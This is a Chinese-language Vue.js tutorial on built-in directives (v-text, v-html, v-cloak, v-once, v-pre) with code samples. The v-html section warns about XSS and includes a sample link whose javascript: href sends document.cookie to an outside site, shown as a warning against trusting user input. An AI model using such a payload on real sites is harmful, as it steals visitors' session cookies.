一、初识VUE
二、再识VUE-MVVM
三、VUE数据代理
四、VUE事件处理
五、VUE计算属性
六、Vue监视属性
七、VUE过滤器
七、VUE内置指令
九、VUE组件
v-text
- 向其所在的节点中渲染文本内容。 (纯文本渲染)
- 与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会。
<div id="root">
{{ name }}
<div v-text="name"></div>
<div v-text="str"></div>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el: '#root',
data:{
name:'上海',
//注意v-text不会解析标签，而是直接将标签当纯文本解析
str:'<h1>hello, shanghai</h1>'
}
})
</script>
v-html
- 向指定节点中渲染包含html结构的内容。
- v-html会替换掉节点中所有的内容，{{xx}}则不会。
- v-html可以识别html结构。
v-html有安全性问题！！！！
(1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。
(2).一定要在可信的内容上使用v-html，永不要用在用户提交的内容上！
<div id="root">
<div v-text="name"></div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el: "#root",
data:{
name:'上海',
//注意v-html会解析标签，这点与v-text不一样
str:'<h1>hello, shanghai</h1>',
//危险行为 永远不要相信用户的输入
str2:'<a href=javascript:location.href="https://www.baidu.com?"+document.cookie>找到资源了兄弟</a>'
}
})
</script>
v-cloak
- 本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。
- 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
<div id="root" v-cloak>
{{name}}
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: {
name: '上海'
}
})
</script>
<style>
[v-cloak] {
display: none;
}
</style>
v-once
- v-once所在节点在初次动态渲染后，就视为静态内容了。
- 以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。
<div id="root">
<h2 v-once>初始化n的值为:{{ n }}</h2>
<h2>当前的n值为:{{ n }}</h2>
<button @click="n++">带我n+1</button>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: {
n: 0
}
})
</script>
v-pre
- 跳过其所在节点的编译过程。
- 可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。
- 元素内具有 v-pre，所有 Vue 模板语法都会被保留并按原样渲染
<span v-pre>{{ this will not be compiled }}</span>
